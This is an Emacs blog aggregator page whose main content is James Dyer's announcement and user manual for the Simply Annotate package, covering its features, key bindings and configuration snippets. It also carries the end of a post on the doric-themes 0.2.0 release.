The colour of the directory icons in all-the-icons and nerd-icons packages is toned down a little bit to avoid exaggerations.

Several spacing-sensitive faces, like Org tables and code blocks, unconditionally inherit the fixed-pitch face. This means that, in principle, they are rendered in a monospaced font even when the user activates variable-pitch-mode or sets the default face to a proportionately spaced typeface. Users who need to specify the applicable font family can either use the following, mutatis mutandis, or take a look at my fontaine package:

(set-face-attribute 'default nil :family "Aporetic Sans Mono" :height 160)
(set-face-attribute 'variable-pitch nil :family "Aporetic Sans" :height 1.0)
(set-face-attribute 'fixed-pitch nil :family "Aporetic Sans Mono" :height 1.0)

Other theme packages of mine have an option for ā€œmixed fontsā€ (like modus-themes-mixed-fonts), but I think I will not be providing options for the Doric themes. At least not for the time being while I explore the design space for minimalist themes.

-1:-- Emacs: doric-themes version 0.2.0 (Post Protesilaos Stavrou)--L0--C0--2025-07-05T00:00:00.000Z

James Dyer: New Package! - Simply Annotate: A Lightweight Annotation System

Yes thats right, yet another annotation system!, in this case it is a lightweight annotation system for Emacs that allows you to add persistent notes to any text file without modifying the original content.

https://melpa.org/#/simply-annotate https://github.com/captainflasmr/simply-annotate

Still not convinced it is any different to any other note taking package in Emacs given that previous generic sparse description? Well I shall do my best to explain my own note taking ideas. Of course this is also just a pet project to continue to learn elisp, so there is that too :)

I developed this package to fill my own perceived gap in the existing Emacs note-taking ecosystem. Although annotate.el comes close to what I needed, I wanted a simplified version and something with a few workflow adjustments that better suit my note taking preferences. The result is a lightweight alternative that handles annotations the way I have always wanted them to work.

The main functional aspects that I felt were important to me that generally differ from other existing Emacs annotation packages are:

  • Header-line status display with keybinding reminders
  • Simple intuitive workflow (hopefully)
  • Multiple display styles (highlight, fringe indicators, or both)
  • Annotation editing via a dedicated buffer
  • Lightweight (if possible <1000 lines - [UPDATE], no its not possible, lets try <2000 lines!)
  • Multi-purpose key to show/edit/toggle annotations
  • Dedicated annotation buffer that can pop in and out
  • Quickly step through annotations with M-n and M-p
  • Buffer summary of annotations in grep-mode format
  • Quickly browse through all annotated files using completing-read
  • Smart action command that adapts based on context
  • Threading conversations for each annotation

See https://github.com/captainflasmr/simply-annotate/blob/main/docs/simply-annotate.org for the manual!

Quick Demo Video

Open this file and open the simply-annotate.el file

  • highlight some regions and put in some annotation comments

  • step through annotation comments

  • show summary

  • delete some annotations

Go to the directory level and now browse the 2 files

Whats New

<2025-07-03 Thu> 0.6.0

A little refactoring and tidying up.

<2025-06-29 Sun> 0.5.1

  • Raw sexp editing: Edit annotation data structures directly as Elisp for complete control
  • Advanced editing capabilities: Full access to thread metadata, status, priority, and comments

Updated Key Bindings:

  • M-s e: Edit annotation as raw Elisp sexp

<2025-06-20 Fri> 0.5.0

  • Threading system: Add replies to annotations for conversations
  • Status management: Track progress (open, in-progress, resolved, closed)
  • Priority levels: Set importance (low, normal, high, critical)
  • Multi-author support: Configure team members for collaboration
  • Tag system: Organize with hashtags (#review, #bug, #question)
  • Org-mode export: Convert threads to structured TODO items
  • Enhanced display: Thread info in headers and lists
  • Author management: Flexible prompting modes and author changes

New Key Bindings:

  • M-s r: Add reply to annotation
  • M-s s: Set status
  • M-s p: Set priority
  • M-s t: Add tag
  • M-s a: Change author
  • M-s o: Export to org-mode

<2025-06-20 Fri> 0.0.1

  • Basic annotation functionality
  • Persistent storage
  • Navigation commands
  • Org-mode export
  • Customizable highlighting

Installation

MELPA (Recommended)

(use-package simply-annotate
  :bind ("C-c A" . simply-annotate-mode))

Manual Installation

  1. Download simply-annotate.el
  2. Place it in your Emacs load-path
  3. Add to your configuration:
(require 'simply-annotate)
(global-set-key (kbd "C-c A") simply-annotate-mode)

Quick Start

  1. Open any file
  2. Enable annotation mode: M-x simply-annotate-mode
  3. Select/mark text and press M-s j to create your first annotation
  4. Create some more annotations
  5. Navigate with M-n (next) and M-p (previous)
  6. Add replies: Press M-s r on any annotation to reply
  7. Set status: Press M-s s to track progress (open/resolved/etc.)
  8. Advanced editing: Press M-s e to edit annotation data structure directly

Usage

Enabling Annotation Mode

M-x simply-annotate-mode

Or bind to a convenient key:

(global-set-key (kbd "C-c A") 'simply-annotate-mode)

Creating Annotations

Simple

The M-s j command (simply-annotate-smart-action) is context-aware:

  1. With region selected: Creates new annotation or edits existing one
  2. On annotated text: Toggles annotation buffer visibility
  3. With prefix (C-u M-s j): Forces edit mode on existing annotation
  4. Elsewhere: Creates annotation for current line
  5. Enter your annotation text in the dedicated buffer
  6. Save with C-c C-c

Advanced Editing

Raw Sexp Editing

For complete control over annotation data structures:

  1. Place cursor on any annotation
  2. Press M-s e to open the raw sexp editor
  3. Edit the Elisp data structure directly:
    • Modify thread metadata (status, priority, tags)
    • Edit comment text and timestamps
    • Add/remove/reorder comments
    • Change author information
  4. Save with C-c C-c or cancel with C-c C-k

Example sexp structure:

((id . "thread-123456")
 (created . "2025-06-29T10:30:00")
 (status . "open")
 (priority . "high")
 (tags . ("bug" "critical"))
 (comments . (((author . "John Doe")
               (timestamp . "2025-06-29T10:30:00")
               (text . "Found a critical bug here")
               (type . "comment"))
              ((author . "Jane Smith")
               (timestamp . "2025-06-29T11:15:00")
               (text . "I can reproduce this issue")
               (type . "reply")))))

Threading & Collaboration

Adding Replies

  1. Place cursor on any annotation
  2. Press M-s r to add a reply
  3. Enter your response
  4. The annotation becomes a threaded conversation

Status Management

  • Press M-s s to set status: open, in-progress, resolved, closed
  • Press M-s p to set priority: low, normal, high, critical
  • Press M-s t to add tags like #review, #bug, #question

Author Management

Configure for single-user or team workflows:

;; Single user (default behavior)
(setq simply-annotate-prompt-for-author nil)

;; Team collaboration
(setq simply-annotate-author-list '("John Doe" "Jane Smith" "Bob Wilson"))
(setq simply-annotate-prompt-for-author 'threads-only)  ; Prompt only for replies
(setq simply-annotate-remember-author-per-file t)       ; Remember per file

Available prompting modes:

  • nil: Never prompt (single-user mode)
  • 'first-only: Prompt once per session
  • 'always: Prompt for every annotation
  • 'threads-only: Prompt only for thread replies (great for reviews)

Author Commands

  • M-s a: Change author of existing annotation/comment

Display Styles

Simply Annotate supports three display styles:

  • Highlight: Traditional background highlighting (default)
  • Fringe: Shows indicators in the left fringe
  • Both: Combines highlighting with fringe indicators

Change styles with M-s ] or customize simply-annotate-display-style.

Viewing Annotations

When simply-annotate-mode is active:

  • Annotated text is displayed according to your chosen style
  • The header line shows annotation count, status info, and available commands
  • * Thread info*: Header shows [OPEN/HIGH:3] for status, priority, and comment count
  • Moving to annotated text shows annotation details in the header
  • Press M-s j on annotated text to view/edit in detail

Navigation

Key Binding Action
M-n Jump to next annotation
M-p Jump to previous annotation
M-s j Smart action (context-aware)

Managing Annotations

Creating

  • Select/mark some text
  • Press M-s j to open the annotation buffer
  • Make your changes
  • Save with C-c C-c

Editing

Standard Editing:

  • Place cursor on annotated text
  • Press C-u M-s j to open the annotation buffer
  • Make your changes
  • Save with C-c C-c

Advanced Sexp Editing:

  • Place cursor on annotated text
  • Press M-s e to open the raw sexp editor
  • Edit the complete data structure
  • Save with C-c C-c or cancel with C-c C-k

Deleting

  • Place cursor on annotated text
  • Press M-s - to remove the annotation

Listing All Annotations

  • Press M-s l to open a grep-mode buffer showing all annotations in the current file
  • Enhanced display: Shows thread status, priority, comment counts, and author info
  • Click on line numbers, press Enter or n/p keys to jump directly to annotations
  • Perfect for getting an overview of all your notes and their status

Cross-file Overview

  • Press M-s 0 to browse annotations across all files
  • Select a file from the completion list
  • Statistics: Shows annotation counts and status summaries per file
  • View all annotations for that file in grep-mode format
  • Source file is presented along with grep-mode list of annotations

Org-mode Integration

Export your annotation threads to org-mode files for further processing:

  • Press M-s o to export current buffer annotations to an org file
  • Each thread becomes a TODO item with proper metadata
  • Replies become sub-entries
  • Status, priority, tags, and timestamps are preserved

Tips and Tricks

Workflow Suggestions

Enable the mode globally if you wish for all files!

(use-package simply-annotate
  :hook
  (find-file-hook . simply-annotate-mode)
  :bind
  ("C-c A" . simply-annotate-mode)
  ("C-c 0" . simply-annotate-show-all))

Smart Action Usage Patterns

  • Quick annotation: No selection, M-s j to annotate current line
  • Edit existing: C-u M-s j on annotated text to force edit mode
  • Toggle view: M-s j on annotated text to show/hide annotation buffer
  • Region annotation: Select text, M-s j to create detailed annotation

Advanced Editing Tips

  • Bulk operations: Use M-s e to edit multiple comments at once in sexp mode
  • Data migration: Copy annotation structures between files using sexp editing
  • Precision control: Manually adjust timestamps, IDs, or metadata via sexp editing
  • Complex threading: Create sophisticated reply structures that aren’t possible through the UI

Display Style Tips

  • Use fringe mode for code files to minimize visual distraction
  • Use highlight mode for documents where you want emphasis
  • Use both mode for critical files requiring maximum attention
  • Change styles on-the-fly with M-s ] based on current task

Performance Notes

  • Annotations are loaded on-demand per buffer
  • Large numbers of annotations (100+) may slightly impact performance
  • Fringe mode generally has better performance than highlight mode
  • Threading: Complex threads (10+ replies) may slow annotation buffer rendering
  • Sexp editing: Large annotation structures may take a moment to format and parse
-1:-- New Package! - Simply Annotate: A Lightweight Annotation System (Post James Dyer)--L0--C0--2025-07-04T21:43:00.000Z

Please note that planet.emacslife.com aggregates blogs, and blog authors might mention or link to nonfree things. To add a feed to this page, please e-mail the RSS or ATOM feed URL to sacha@sachachua.com . Thank you!